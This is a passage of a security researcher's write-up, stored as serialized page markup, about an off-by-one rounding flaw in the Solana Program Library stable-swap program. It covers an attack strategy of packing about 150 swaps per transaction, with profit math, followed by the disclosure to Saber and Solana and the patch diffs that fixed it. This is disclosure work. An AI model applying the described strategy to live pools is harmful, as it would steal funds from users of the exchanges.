on Solana.",{"type":20,"tag":29,"props":2324,"children":2325},{},[2326],{"type":26,"value":2327},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":20,"tag":29,"props":2329,"children":2330},{},[2331],{"type":26,"value":2332},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":20,"tag":29,"props":2334,"children":2335},{},[2336],{"type":20,"tag":2308,"props":2337,"children":2339},{"alt":7,"src":2338},"/posts/spl-swap/pr.png",[],{"type":20,"tag":29,"props":2341,"children":2342},{},[2343,2345,2350],{"type":26,"value":2344},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":20,"tag":55,"props":2346,"children":2347},{},[2348],{"type":26,"value":2349},"per instruction",{"type":26,"value":2351},". Transactions on Solana can also contain multiple instructions.",{"type":20,"tag":29,"props":2353,"children":2354},{},[2355],{"type":26,"value":2356},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":20,"tag":29,"props":2358,"children":2359},{},[2360,2362,2367],{"type":26,"value":2361},"Some quick napkin math confirms that this ",{"type":20,"tag":55,"props":2363,"children":2364},{},[2365],{"type":26,"value":2366},"is",{"type":26,"value":2368}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":20,"tag":29,"props":2370,"children":2371},{},[2372],{"type":20,"tag":119,"props":2373,"children":2377},{"className":2374},[2375,2376],"language-math","math-inline",[2378],{"type":20,"tag":315,"props":2379,"children":2382},{"className":2380},[2381],"katex",[2383],{"type":20,"tag":315,"props":2384,"children":2388},{"className":2385,"ariaHidden":2387},[2386],"katex-html","true",[2389,2497,2553,2593],{"type":20,"tag":315,"props":2390,"children":2393},{"className":2391},[2392],"base",[2394,2400,2407,2470,2480,2486,2493],{"type":20,"tag":315,"props":2395,"children":2399},{"className":2396,"style":2398},[2397],"strut","height:0.8141em;",[],{"type":20,"tag":315,"props":2401,"children":2404},{"className":2402},[2403],"mord",[2405],{"type":26,"value":2406},"1",{"type":20,"tag":315,"props":2408,"children":2410},{"className":2409},[2403],[2411,2416],{"type":20,"tag":315,"props":2412,"children":2414},{"className":2413},[2403],[2415],{"type":26,"value":1063},{"type":20,"tag":315,"props":2417,"children":2420},{"className":2418},[2419],"msupsub",[2421],{"type":20,"tag":315,"props":2422,"children":2425},{"className":2423},[2424],"vlist-t",[2426],{"type":20,"tag":315,"props":2427,"children":2430},{"className":2428},[2429],"vlist-r",[2431],{"type":20,"tag":315,"props":2432,"children":2435},{"className":2433,"style":2398},[2434],"vlist",[2436],{"type":20,"tag":315,"props":2437,"children":2439},{"style":2438},"top:-3.063em;margin-right:0.05em;",[2440,2446],{"type":20,"tag":315,"props":2441,"children":2445},{"className":2442,"style":2444},[2443],"pstrut","height:2.7em;",[],{"type":20,"tag":315,"props":2447,"children":2453},{"className":2448},[2449,2450,2451,2452],"sizing","reset-size6","size3","mtight",[2454],{"type":20,"tag":315,"props":2455,"children":2457},{"className":2456},[2403,2452],[2458,2464],{"type":20,"tag":315,"props":2459,"children":2461},{"className":2460},[2403,2452],[2462],{"type":26,"value":2463},"−",{"type":20,"tag":315,"props":2465,"children":2467},{"className":2466},[2403,2452],[2468],{"type":26,"value":2469},"8",{"type":20,"tag":315,"props":2471,"children":2473},{"className":2472},[2403,26],[2474],{"type":20,"tag":315,"props":2475,"children":2477},{"className":2476},[2403],[2478],{"type":26,"value":2479}," BTC",{"type":20,"tag":315,"props":2481,"children":2485},{"className":2482,"style":2484},[2483],"mspace","margin-right:0.2222em;",[],{"type":20,"tag":315,"props":2487,"children":2490},{"className":2488},[2489],"mbin",[2491],{"type":26,"value":2492},"∗",{"type":20,"tag":315,"props":2494,"children":2496},{"className":2495,"style":2484},[2483],[],{"type":20,"tag":315,"props":2498,"children":2500},{"className":2499},[2392],[2501,2506,2512,2519,2524,2530,2540,2544,2549],{"type":20,"tag":315,"props":2502,"children":2505},{"className":2503,"style":2504},[2397],"height:1em;vertical-align:-0.25em;",[],{"type":20,"tag":315,"props":2507,"children":2509},{"className":2508},[2403],[2510],{"type":26,"value":2511},"$41",{"type":20,"tag":315,"props":2513,"children":2516},{"className":2514},[2515],"mpunct",[2517],{"type":26,"value":2518},",",{"type":20,"tag":315,"props":2520,"children":2523},{"className":2521,"style":2522},[2483],"margin-right:0.1667em;",[],{"type":20,"tag":315,"props":2525,"children":2527},{"className":2526},[2403],[2528],{"type":26,"value":2529},"400/",{"type":20,"tag":315,"props":2531,"children":2533},{"className":2532},[2403,26],[2534],{"type":20,"tag":315,"props":2535,"children":2537},{"className":2536},[2403],[2538],{"type":26,"value":2539},"BTC",{"type":20,"tag":315,"props":2541,"children":2543},{"className":2542,"style":2484},[2483],[],{"type":20,"tag":315,"props":2545,"children":2547},{"className":2546},[2489],[2548],{"type":26,"value":2492},{"type":20,"tag":315,"props":2550,"children":2552},{"className":2551,"style":2484},[2483],[],{"type":20,"tag":315,"props":2554,"children":2556},{"className":2555},[2392],[2557,2562,2568,2578,2583,2589],{"type":20,"tag":315,"props":2558,"children":2561},{"className":2559,"style":2560},[2397],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":2563,"children":2565},{"className":2564},[2403],[2566],{"type":26,"value":2567},"150",{"type":20,"tag":315,"props":2569,"children":2571},{"className":2570},[2403,26],[2572],{"type":20,"tag":315,"props":2573,"children":2575},{"className":2574},[2403],[2576],{"type":26,"value":2577}," swaps",{"type":20,"tag":315,"props":2579,"children":2582},{"className":2580,"style":2581},[2483],"margin-right:0.2778em;",[],{"type":20,"tag":315,"props":2584,"children":2587},{"className":2585},[2586],"mrel",[2588],{"type":26,"value":337},{"type":20,"tag":315,"props":2590,"children":2592},{"className":2591,"style":2581},[2483],[],{"type":20,"tag":315,"props":2594,"children":2596},{"className":2595},[2392],[2597,2602],{"type":20,"tag":315,"props":2598,"children":2601},{"className":2599,"style":2600},[2397],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":20,"tag":315,"props":2603,"children":2605},{"className":2604},[2403],[2606],{"type":26,"value":2607},"$0.0621",{"type":20,"tag":29,"props":2609,"children":2610},{},[2611],{"type":26,"value":2612},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":20,"tag":29,"props":2614,"children":2615},{},[2616],{"type":26,"value":2617},"We're well on our way to becoming a millionaire!",{"type":20,"tag":21,"props":2619,"children":2621},{"id":2620},"patch",[2622],{"type":26,"value":2623},"Patch",{"type":20,"tag":29,"props":2625,"children":2626},{},[2627],{"type":26,"value":2628},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":20,"tag":29,"props":2630,"children":2631},{},[2632],{"type":26,"value":2633},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":20,"tag":305,"props":2635,"children":2639},{"code":2636,"language":2637,"meta":7,"className":2638,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[2640],{"type":20,"tag":119,"props":2641,"children":2642},{"__ignoreMap":7},[2643],{"type":20,"tag":315,"props":2644,"children":2645},{"class":317,"line":318},[2646,2650,2656,2661,2666,2671,2676],{"type":20,"tag":315,"props":2647,"children":2648},{"style":345},[2649],{"type":26,"value":1259},{"type":20,"tag":315,"props":2651,"children":2653},{"style":2652},"--shiki-default:#CE9178",[2654],{"type":26,"value":2655}," logs",{"type":20,"tag":315,"props":2657,"children":2658},{"style":2652},[2659],{"type":26,"value":2660}," -um",{"type":20,"tag":315,"props":2662,"children":2663},{"style":334},[2664],{"type":26,"value":2665}," |",{"type":20,"tag":315,"props":2667,"children":2668},{"style":345},[2669],{"type":26,"value":2670}," grep",{"type":20,"tag":315,"props":2672,"children":2673},{"style":2652},[2674],{"type":26,"value":2675}," 'Instruction: Swap'",{"type":20,"tag":315,"props":2677,"children":2678},{"style":2652},[2679],{"type":26,"value":2680}," -B1\n",{"type":20,"tag":29,"props":2682,"children":2683},{},[2684],{"type":26,"value":2685},"With some Google dorking, we were able to identify many of these programs.",{"type":20,"tag":305,"props":2687,"children":2689},{"code":2688},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[2690],{"type":20,"tag":119,"props":2691,"children":2692},{"__ignoreMap":7},[2693],{"type":26,"value":2688},{"type":20,"tag":29,"props":2695,"children":2696},{},[2697],{"type":26,"value":2698},"Now it was time to contact these teams.",{"type":20,"tag":29,"props":2700,"children":2701},{},[2702],{"type":26,"value":2703},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":20,"tag":29,"props":2705,"children":2706},{},[2707],{"type":26,"value":2708},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":20,"tag":305,"props":2710,"children":2712},{"code":2711,"language":1359,"meta":7,"className":1360,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[2713],{"type":20,"tag":119,"props":2714,"children":2715},{"__ignoreMap":7},[2716,2769,2781],{"type":20,"tag":315,"props":2717,"children":2718},{"class":317,"line":318},[2719,2723,2727,2732,2736,2741,2745,2749,2753,2757,2761,2765],{"type":20,"tag":315,"props":2720,"children":2721},{"style":334},[2722],{"type":26,"value":478},{"type":20,"tag":315,"props":2724,"children":2725},{"style":541},[2726],{"type":26,"value":1445},{"type":20,"tag":315,"props":2728,"children":2729},{"style":635},[2730],{"type":26,"value":2731}," dy",{"type":20,"tag":315,"props":2733,"children":2734},{"style":334},[2735],{"type":26,"value":1395},{"type":20,"tag":315,"props":2737,"children":2738},{"style":635},[2739],{"type":26,"value":2740}," swap_destination_amount",{"type":20,"tag":315,"props":2742,"children":2743},{"style":334},[2744],{"type":26,"value":61},{"type":20,"tag":315,"props":2746,"children":2747},{"style":345},[2748],{"type":26,"value":1617},{"type":20,"tag":315,"props":2750,"children":2751},{"style":328},[2752],{"type":26,"value":1049},{"type":20,"tag":315,"props":2754,"children":2755},{"style":635},[2756],{"type":26,"value":1495},{"type":20,"tag":315,"props":2758,"children":2759},{"style":328},[2760],{"type":26,"value":1509},{"type":20,"tag":315,"props":2762,"children":2763},{"style":334},[2764],{"type":26,"value":1537},{"type":20,"tag":315,"props":2766,"children":2767},{"style":328},[2768],{"type":26,"value":1405},{"type":20,"tag":315,"props":2770,"children":2771},{"class":317,"line":356},[2772,2776],{"type":20,"tag":315,"props":2773,"children":2774},{"style":334},[2775],{"type":26,"value":817},{"type":20,"tag":315,"props":2777,"children":2778},{"style":1071},[2779],{"type":26,"value":2780}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":20,"tag":315,"props":2782,"children":2783},{"class":317,"line":365},[2784,2788,2792,2796,2800,2804,2808,2812,2816,2820,2824,2828,2832,2836,2840,2844,2848],{"type":20,"tag":315,"props":2785,"children":2786},{"style":334},[2787],{"type":26,"value":817},{"type":20,"tag":315,"props":2789,"children":2790},{"style":541},[2791],{"type":26,"value":1445},{"type":20,"tag":315,"props":2793,"children":2794},{"style":635},[2795],{"type":26,"value":2731},{"type":20,"tag":315,"props":2797,"children":2798},{"style":334},[2799],{"type":26,"value":1395},{"type":20,"tag":315,"props":2801,"children":2802},{"style":635},[2803],{"type":26,"value":2740},{"type":20,"tag":315,"props":2805,"children":2806},{"style":334},[2807],{"type":26,"value":61},{"type":20,"tag":315,"props":2809,"children":2810},{"style":345},[2811],{"type":26,"value":1617},{"type":20,"tag":315,"props":2813,"children":2814},{"style":328},[2815],{"type":26,"value":1049},{"type":20,"tag":315,"props":2817,"children":2818},{"style":635},[2819],{"type":26,"value":1495},{"type":20,"tag":315,"props":2821,"children":2822},{"style":328},[2823],{"type":26,"value":1509},{"type":20,"tag":315,"props":2825,"children":2826},{"style":334},[2827],{"type":26,"value":1514},{"type":20,"tag":315,"props":2829,"children":2830},{"style":345},[2831],{"type":26,"value":1617},{"type":20,"tag":315,"props":2833,"children":2834},{"style":328},[2835],{"type":26,"value":1049},{"type":20,"tag":315,"props":2837,"children":2838},{"style":765},[2839],{"type":26,"value":2406},{"type":20,"tag":315,"props":2841,"children":2842},{"style":328},[2843],{"type":26,"value":1509},{"type":20,"tag":315,"props":2845,"children":2846},{"style":334},[2847],{"type":26,"value":1537},{"type":20,"tag":315,"props":2849,"children":2850},{"style":328},[2851],{"type":26,"value":1405},{"type":20,"tag":29,"props":2853,"children":2854},{},[2855,2857,2864],{"type":26,"value":2856},"For reference, here is the ",{"type":20,"tag":35,"props":2858,"children":2861},{"href":2859,"rel":2860},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[39],[2862],{"type":26,"value":2863},"Curve.fi implementation",{"type":26,"value":61},{"type":20,"tag":305,"props":2866,"children":2868},{"code":2867,"language":309,"meta":7,"className":307,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n",[2869],{"type":20,"tag":119,"props":2870,"children":2871},{"__ignoreMap":7},[2872,2935],{"type":20,"tag":315,"props":2873,"children":2874},{"class":317,"line":318},[2875,2880,2885,2890,2894,2899,2903,2908,2912,2917,2922,2926,2930],{"type":20,"tag":315,"props":2876,"children":2877},{"style":328},[2878],{"type":26,"value":2879}," dy",{"type":20,"tag":315,"props":2881,"children":2882},{"style":334},[2883],{"type":26,"value":2884},":",{"type":20,"tag":315,"props":2886,"children":2887},{"style":322},[2888],{"type":26,"value":2889}," uint256",{"type":20,"tag":315,"props":2891,"children":2892},{"style":334},[2893],{"type":26,"value":1395},{"type":20,"tag":315,"props":2895,"children":2896},{"style":328},[2897],{"type":26,"value":2898}," xp[j] ",{"type":20,"tag":315,"props":2900,"children":2901},{"style":334},[2902],{"type":26,"value":478},{"type":20,"tag":315,"props":2904,"children":2905},{"style":328},[2906],{"type":26,"value":2907}," y ",{"type":20,"tag":315,"props":2909,"children":2910},{"style":334},[2911],{"type":26,"value":478},{"type":20,"tag":315,"props":2913,"children":2914},{"style":765},[2915],{"type":26,"value":2916}," 1",{"type":20,"tag":315,"props":2918,"children":2919},{"style":328},[2920],{"type":26,"value":2921}," # ",{"type":20,"tag":315,"props":2923,"children":2924},{"style":334},[2925],{"type":26,"value":478},{"type":20,"tag":315,"props":2927,"children":2928},{"style":765},[2929],{"type":26,"value":2406},{"type":20,"tag":315,"props":2931,"children":2932},{"style":328},[2933],{"type":26,"value":2934}," just in case there were some rounding errors\n",{"type":20,"tag":315,"props":2936,"children":2937},{"class":317,"line":356},[2938,2943,2947,2951,2955,2960,2964,2969,2973],{"type":20,"tag":315,"props":2939,"children":2940},{"style":328},[2941],{"type":26,"value":2942}," dy_fee",{"type":20,"tag":315,"props":2944,"children":2945},{"style":334},[2946],{"type":26,"value":2884},{"type":20,"tag":315,"props":2948,"children":2949},{"style":322},[2950],{"type":26,"value":2889},{"type":20,"tag":315,"props":2952,"children":2953},{"style":334},[2954],{"type":26,"value":1395},{"type":20,"tag":315,"props":2956,"children":2957},{"style":328},[2958],{"type":26,"value":2959}," dy ",{"type":20,"tag":315,"props":2961,"children":2962},{"style":334},[2963],{"type":26,"value":901},{"type":20,"tag":315,"props":2965,"children":2966},{"style":328},[2967],{"type":26,"value":2968}," self.fee ",{"type":20,"tag":315,"props":2970,"children":2971},{"style":334},[2972],{"type":26,"value":786},{"type":20,"tag":315,"props":2974,"children":2975},{"style":328},[2976],{"type":26,"value":2977}," FEE_DENOMINATOR\n",{"type":20,"tag":29,"props":2979,"children":2980},{},[2981,2983,2990],{"type":26,"value":2982},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":20,"tag":35,"props":2984,"children":2987},{"href":2985,"rel":2986},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[39],[2988],{"type":26,"value":2989},"original commit",{"type":26,"value":2991},", not as an additional security patch.",{"type":20,"tag":305,"props":2993,"children":2995},{"code":2994},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[2996],{"type":20,"tag":119,"props":2997,"children":2998},{"__ignoreMap":7},[2999],{"type":26,"value":2994},{"type":20,"tag":29,"props":3001,"children":3002},{},[3003,3005,3012],{"type":26,"value":3004},"The commit adding stable swaps to SPL was ",{"type":20,"tag":35,"props":3006,"children":3009},{"href":3007,"rel":3008},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[39],[3010],{"type":26,"value":3011},"made a few months later",{"type":26,"value":3013},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":20,"tag":305,"props":3015,"children":3017},{"code":3016},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[3018],{"type":20,"tag":119,"props":3019,"children":3020},{"__ignoreMap":7},[3021],{"type":26,"value":3016},{"type":20,"tag":29,"props":3023,"children":3024},{},[3025,3027,3034],{"type":26,"value":3026},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":20,"tag":35,"props":3028,"children":3031},{"href":3029,"rel":3030},"https://github.com/solana-labs/solana-program-library",[39],[3032],{"type":26,"value":3033},"the Solana Program Library",{"type":26,"value":61},{"type":20,"tag":29,"props":3036,"children":3037},{},[3038],{"type":26,"value":3039},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":20,"tag":29,"props":3041,"children":3042},{},[3043,3050],{"type":20,"tag":35,"props":3044,"children":3047},{"href":3045,"rel":3046},"https://github.com/joncinque",[39],[3048],{"type":26,"value":3049},"@joncinque",{"type":26,"value":3051}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":20,"tag":1312,"props":3053,"children":3054},{},[3055],{"type":20,"tag":29,"props":3056,"children":3057},{},[3058],{"type":26,"value":3059},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":20,"tag":29,"props":3061,"children":3062},{},[3063,3065,3072,3074,3080],{"type":26,"value":3064},"After some thought, he helped ",{"type":20,"tag":35,"props":3066,"children":3069},{"href":3067,"rel":3068},"https://github.com/solana-labs/solana-program-library/pull/2942",[39],[3070],{"type":26,"value":3071},"introduce a PR",{"type":26,"value":3073}," which ceilings the computation in ",{"type":20,"tag":119,"props":3075,"children":3077},{"className":3076},[],[3078],{"type":26,"value":3079},"compute_new_destination_amount",{"type":26,"value":3081}," to correctly round within the stable curve math library.",{"type":20,"tag":305,"props":3083,"children":3085},{"code":3084,"language":1359,"meta":7,"className":1360,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[3086],{"type":20,"tag":119,"props":3087,"children":3088},{"__ignoreMap":7},[3089,3097,3127,3154,3182,3206,3282,3386,3413,3508,3611,3638,3650,3669,3692],{"type":20,"tag":315,"props":3090,"children":3091},{"class":317,"line":318},[3092],{"type":20,"tag":315,"props":3093,"children":3094},{"style":1071},[3095],{"type":26,"value":3096}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":20,"tag":315,"props":3098,"children":3099},{"class":317,"line":356},[3100,3105,3109,3114,3118,3123],{"type":20,"tag":315,"props":3101,"children":3102},{"style":541},[3103],{"type":26,"value":3104}," let",{"type":20,"tag":315,"props":3106,"children":3107},{"style":541},[3108],{"type":26,"value":1385},{"type":20,"tag":315,"props":3110,"children":3111},{"style":635},[3112],{"type":26,"value":3113}," y_prev",{"type":20,"tag":315,"props":3115,"children":3116},{"style":334},[3117],{"type":26,"value":2884},{"type":20,"tag":315,"props":3119,"children":3120},{"style":322},[3121],{"type":26,"value":3122}," U256",{"type":20,"tag":315,"props":3124,"children":3125},{"style":328},[3126],{"type":26,"value":1405},{"type":20,"tag":315,"props":3128,"children":3129},{"class":317,"line":365},[3130,3134,3138,3142,3146,3150],{"type":20,"tag":315,"props":3131,"children":3132},{"style":541},[3133],{"type":26,"value":3104},{"type":20,"tag":315,"props":3135,"children":3136},{"style":541},[3137],{"type":26,"value":1385},{"type":20,"tag":315,"props":3139,"children":3140},{"style":635},[3141],{"type":26,"value":1390},{"type":20,"tag":315,"props":3143,"children":3144},{"style":334},[3145],{"type":26,"value":1395},{"type":20,"tag":315,"props":3147,"children":3148},{"style":635},[3149],{"type":26,"value":1400},{"type":20,"tag":315,"props":3151,"children":3152},{"style":328},[3153],{"type":26,"value":1405},{"type":20,"tag":315,"props":3155,"children":3156},{"class":317,"line":374},[3157,3162,3166,3170,3174,3178],{"type":20,"tag":315,"props":3158,"children":3159},{"style":525},[3160],{"type":26,"value":3161}," for",{"type":20,"tag":315,"props":3163,"children":3164},{"style":635},[3165],{"type":26,"value":1418},{"type":20,"tag":315,"props":3167,"children":3168},{"style":541},[3169],{"type":26,"value":1423},{"type":20,"tag":315,"props":3171,"children":3172},{"style":765},[3173],{"type":26,"value":985},{"type":20,"tag":315,"props":3175,"children":3176},{"style":334},[3177],{"type":26,"value":1432},{"type":20,"tag":315,"props":3179,"children":3180},{"style":328},[3181],{"type":26,"value":1437},{"type":20,"tag":315,"props":3183,"children":3184},{"class":317,"line":383},[3185,3189,3194,3198,3202],{"type":20,"tag":315,"props":3186,"children":3187},{"style":334},[3188],{"type":26,"value":478},{"type":20,"tag":315,"props":3190,"children":3191},{"style":635},[3192],{"type":26,"value":3193}," y_prev",{"type":20,"tag":315,"props":3195,"children":3196},{"style":334},[3197],{"type":26,"value":1395},{"type":20,"tag":315,"props":3199,"children":3200},{"style":635},[3201],{"type":26,"value":1390},{"type":20,"tag":315,"props":3203,"children":3204},{"style":328},[3205],{"type":26,"value":1405},{"type":20,"tag":315,"props":3207,"children":3208},{"class":317,"line":407},[3209,3213,3218,3222,3226,3230,3234,3238,3242,3246,3250,3254,3258,3262,3266,3270,3274,3278],{"type":20,"tag":315,"props":3210,"children":3211},{"style":334},[3212],{"type":26,"value":478},{"type":20,"tag":315,"props":3214,"children":3215},{"style":635},[3216],{"type":26,"value":3217}," y",{"type":20,"tag":315,"props":3219,"children":3220},{"style":334},[3221],{"type":26,"value":1395},{"type":20,"tag":315,"props":3223,"children":3224},{"style":328},[3225],{"type":26,"value":463},{"type":20,"tag":315,"props":3227,"children":3228},{"style":345},[3229],{"type":26,"value":1481},{"type":20,"tag":315,"props":3231,"children":3232},{"style":328},[3233],{"type":26,"value":1049},{"type":20,"tag":315,"props":3235,"children":3236},{"style":334},[3237],{"type":26,"value":1490},{"type":20,"tag":315,"props":3239,"children":3240},{"style":635},[3241],{"type":26,"value":1495},{"type":20,"tag":315,"props":3243,"children":3244},{"style":328},[3245],{"type":26,"value":44},{"type":20,"tag":315,"props":3247,"children":3248},{"style":765},[3249],{"type":26,"value":1504},{"type":20,"tag":315,"props":3251,"children":3252},{"style":328},[3253],{"type":26,"value":1509},{"type":20,"tag":315,"props":3255,"children":3256},{"style":334},[3257],{"type":26,"value":1514},{"type":20,"tag":315,"props":3259,"children":3260},{"style":345},[3261],{"type":26,"value":1519},{"type":20,"tag":315,"props":3263,"children":3264},{"style":328},[3265],{"type":26,"value":1049},{"type":20,"tag":315,"props":3267,"children":3268},{"style":635},[3269],{"type":26,"value":1528},{"type":20,"tag":315,"props":3271,"children":3272},{"style":328},[3273],{"type":26,"value":1509},{"type":20,"tag":315,"props":3275,"children":3276},{"style":334},[3277],{"type":26,"value":1537},{"type":20,"tag":315,"props":3279,"children":3280},{"style":328},[3281],{"type":26,"value":380},{"type":20,"tag":315,"props":3283,"children":3284},{"class":317,"line":421},[3285,3289,3293,3298,3302,3306,3310,3314,3318,3322,3326,3330,3334,3338,3342,3346,3350,3354,3358,3362,3366,3370,3374,3378,3382],{"type":20,"tag":315,"props":3286,"children":3287},{"style":334},[3288],{"type":26,"value":478},{"type":20,"tag":315,"props":3290,"children":3291},{"style":334},[3292],{"type":26,"value":1549},{"type":20,"tag":315,"props":3294,"children":3295},{"style":345},[3296],{"type":26,"value":3297},"checked_div",{"type":20,"tag":315,"props":3299,"children":3300},{"style":328},[3301],{"type":26,"value":1049},{"type":20,"tag":315,"props":3303,"children":3304},{"style":345},[3305],{"type":26,"value":1563},{"type":20,"tag":315,"props":3307,"children":3308},{"style":328},[3309],{"type":26,"value":1049},{"type":20,"tag":315,"props":3311,"children":3312},{"style":334},[3313],{"type":26,"value":1490},{"type":20,"tag":315,"props":3315,"children":3316},{"style":635},[3317],{"type":26,"value":1495},{"type":20,"tag":315,"props":3319,"children":3320},{"style":328},[3321],{"type":26,"value":44},{"type":20,"tag":315,"props":3323,"children":3324},{"style":765},[3325],{"type":26,"value":1504},{"type":20,"tag":315,"props":3327,"children":3328},{"style":328},[3329],{"type":26,"value":1509},{"type":20,"tag":315,"props":3331,"children":3332},{"style":334},[3333],{"type":26,"value":1514},{"type":20,"tag":315,"props":3335,"children":3336},{"style":345},[3337],{"type":26,"value":1519},{"type":20,"tag":315,"props":3339,"children":3340},{"style":328},[3341],{"type":26,"value":1049},{"type":20,"tag":315,"props":3343,"children":3344},{"style":635},[3345],{"type":26,"value":1604},{"type":20,"tag":315,"props":3347,"children":3348},{"style":328},[3349],{"type":26,"value":1509},{"type":20,"tag":315,"props":3351,"children":3352},{"style":334},[3353],{"type":26,"value":1514},{"type":20,"tag":315,"props":3355,"children":3356},{"style":345},[3357],{"type":26,"value":1617},{"type":20,"tag":315,"props":3359,"children":3360},{"style":328},[3361],{"type":26,"value":1049},{"type":20,"tag":315,"props":3363,"children":3364},{"style":635},[3365],{"type":26,"value":1626},{"type":20,"tag":315,"props":3367,"children":3368},{"style":328},[3369],{"type":26,"value":1509},{"type":20,"tag":315,"props":3371,"children":3372},{"style":334},[3373],{"type":26,"value":1537},{"type":20,"tag":315,"props":3375,"children":3376},{"style":328},[3377],{"type":26,"value":1509},{"type":20,"tag":315,"props":3379,"children":3380},{"style":334},[3381],{"type":26,"value":1537},{"type":20,"tag":315,"props":3383,"children":3384},{"style":328},[3385],{"type":26,"value":1405},{"type":20,"tag":315,"props":3387,"children":3388},{"class":317,"line":430},[3389,3393,3397,3401,3405,3409],{"type":20,"tag":315,"props":3390,"children":3391},{"style":334},[3392],{"type":26,"value":478},{"type":20,"tag":315,"props":3394,"children":3395},{"style":525},[3396],{"type":26,"value":1654},{"type":20,"tag":315,"props":3398,"children":3399},{"style":635},[3400],{"type":26,"value":1390},{"type":20,"tag":315,"props":3402,"children":3403},{"style":334},[3404],{"type":26,"value":1664},{"type":20,"tag":315,"props":3406,"children":3407},{"style":635},[3408],{"type":26,"value":3113},{"type":20,"tag":315,"props":3410,"children":3411},{"style":328},[3412],{"type":26,"value":1092},{"type":20,"tag":315,"props":3414,"children":3415},{"class":317,"line":453},[3416,3420,3424,3428,3432,3436,3440,3444,3448,3452,3456,3460,3464,3468,3472,3476,3480,3484,3488,3492,3496,3500,3504],{"type":20,"tag":315,"props":3417,"children":3418},{"style":334},[3419],{"type":26,"value":817},{"type":20,"tag":315,"props":3421,"children":3422},{"style":541},[3423],{"type":26,"value":1445},{"type":20,"tag":315,"props":3425,"children":3426},{"style":328},[3427],{"type":26,"value":463},{"type":20,"tag":315,"props":3429,"children":3430},{"style":635},[3431],{"type":26,"value":1454},{"type":20,"tag":315,"props":3433,"children":3434},{"style":328},[3435],{"type":26,